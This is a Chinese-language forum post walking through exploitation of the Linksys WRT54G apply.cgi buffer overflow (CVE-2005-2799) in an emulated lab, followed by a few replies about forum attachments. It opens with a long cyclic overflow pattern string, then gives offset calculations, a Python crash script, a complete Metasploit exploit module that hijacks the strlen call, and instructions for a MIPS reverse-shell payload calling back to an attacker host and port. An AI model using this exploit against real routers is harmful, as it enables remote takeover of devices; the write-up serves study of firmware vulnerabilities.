b9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv
3.7.3. 计算崩溃点偏移
在httpd启动后,IDA附加到远程进程,然后使用burpsuite发送请求


发送请求成功后进程崩溃

此时可以在IDA view-pc窗口看到在地址:100041E8处是在post_buf全局变量后的另一个全局对象区,其起始字符串是:v3Mv,其偏移为:
root@kali:/opt/metasploit/apps/pro/msf3/tools# ./pattern_offset.rb v3Mv 26384
[*] Exact match at offset 10000
也就是说明:post_buf的大小是:10000字节
我们查看View-PC,对比原do_post_apply汇编代码,可以看到,发生崩溃后函数原函数strlen被字符串覆盖。


原函数汇编



崩溃后strlen被0x54346854覆盖

可见我们的缓冲区填充了strlen地址。如果我们填入的是可执行代码,那么当前PC指令劫持后程序继续执行就会到strlen函数所在地址去执行strlen函数时,就会实际上执行我们填充的代码。

这时恰好覆盖到strlen函数地址所需的长度为15042,可以通过如下方式计算得到:
root@kali:/opt/metasploit/apps/pro/msf3/tools# ./pattern_offset.rb 0x54346854 26384
[*] Exact match at offset 15042
这个0x54346854从崩溃提示就可以获取到


3.7.4. 调试分析strlen被覆盖的精确长度
通过修改wrt54g_test.py测试脚本中字符串的布局,然后调试分析,观察do_post_apply函数中原 la $t9,strlen处,strlen被代替的unk_(16进制地址)可获得strlen被覆盖的精确位置。
最终确定strlen被精确覆盖长度的测试脚本如下:
import sys
import urllib2
try:
     target = sys.argv[1]
except:
     print "Usage: %s <target>" % sys.argv[0]
     sys.exit(1)
url = "http://%s/apply.cgi" % target
buf  = "\x42"*10000+"\x43"*5044+"\x41"*4+"\x44"*11336      # POST parameter name
#buf  = "\x42"*10000+"\x41"*1000      # POST parameter name
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
测试效果:


Strlen处被4个A字符覆盖,如果此处是post_buf的首地址,程序将被劫持到post_buf首地址执行。
3.7.5. 构造攻击载荷
构造攻击载荷,一般有两种思路:一是覆盖函数的return地址,一是覆盖后续调用的其他函数地址。本实验中由于后续的指令是strlen执行,因此只需覆盖strlen就可以劫持程序的执行流程。
为了稳定起见,我们在post_buf长度后再扩展5044长度到10000(即:0x2710),这个区间全部填充post_buf的首地址。而在post_buf存储区间前面填充滑翔指令+shellcode。只要溢出发生后程序跳15044长度后的post_buf首地址,这样在strlen劫持后可以跳转到post_buf首地址去执行shellcode。Mips中滑翔指令为“\x00”。我们使用msf框架编写exploit.
linksys_apply_cgi_wrt54g.rb
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linksys WRT54 Access Point apply.cgi Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
        According to iDefense who discovered this vulnerability, all WRT54G versions prior to
        4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.
      },
      'Author'         => [ 'Yingjun.Yang' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-2799'],
          [ 'OSVDB', '19389' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
        ],
      'Payload'        =>
        {
          'Space'    => 10000,
          'DisableNops' => true,
        },
      'Arch'         => ARCH_MIPSLE,
      'Platform'       => 'linux',
      'Targets'        =>
        [
          # the middle of the intersection is our generic address
          #((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
          [ 'Generic', { 'Bufaddr' => 0x10001AD8}],
        ],
      'DisclosureDate' => 'Sep 13 2005',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RHOST('192.168.1.1')
      ], self.class)
  end

  # Approx size of the remaining space in the data segment after our buffer
  DataSegSize = 0x2710

  def exploit
    c = connect

    print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
    print_status("Shellcode length: #{payload.encoded.length}")

    addr = [target['Bufaddr']].pack('V')

    post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)

#     print_status("Malicious request sent, do_ej should be overwritten")

    req = c.request_cgi({ 'uri' => "/apply.cgi",
      'method' => 'POST',
      'data' => post_data
    })
    c.send_request(req)
    print_status("payload sent complete!")

    handler
    disconnect
  end

end

3.7.6. 执行攻击测试
载荷要使用linux/mipsle/shell_reverse_tcp,其他载荷会报错
在firmadyne中运行防火墙,方法见《嵌入式固件自动化分析环境firmadyne使用详细教程》。运行后如图:


使用msf及刚才开发的exploit攻击
使用use加载exploit ,set payload设置载荷


设置rhost(攻击目标),lhost(反向shell监听本地机)


Exploit执行攻击


可以在IDA中在do_post函数中执行strlen之前下断点,然后使用qemu-mipsel调试分析程序,查看此时shellcode。在使用linksys_apply_cgi_wrt54g.rb发起攻击后,IDA中指令会在strlen执行前的断点处暂停。
 


然后f7单步跟踪


在地址:0x10004130后可以看到shellcode

红线部分即为shellcode


将红线部分二进制代码摘下来可放在其他脚本中开发exploit,其中: \x11\x5c\x0e\x3c \x11\x5c\xce\x35替换为反向连接端口号(\x11\x5c是我们目前设置的端口4444);\x00\x8d\x0e\x3c \x0a\x00\xce\x35替换为反向链接主机(\x0a\x00\x00\x8d是目前我们设置的地址:10.0.0.141)

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最新回复 (5)
cloud闲云 2017-6-4 09:05
2
为什么我上传的附件到了另外一个帖子里去了?
上传的附件:
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kanxue 2017-6-4 09:18
3

cloud闲云 为什么我上传的附件到了另外一个帖子里去了?

论坛附件上传的时候,是先放到一个缓存里,你提交的时候才与帖子关联起来。

建议是直接将内容放到帖子里,方便阅读和搜索引擎收录。


另外,此帖我移到智能设备版块了。

cloud闲云 2017-6-4 09:37
4
主要是图片太多直接放上去比较费事,论坛可不可以直接通过导入word文档生成文章?就像QQ空间里的那个功能
cloud闲云 2017-6-4 10:23
5
原来先发帖后再编辑,就可以正常往主题中贴图片了
2
地狱怪客 2017-8-31 11:14
6
很厉害写的很好  膜拜大神
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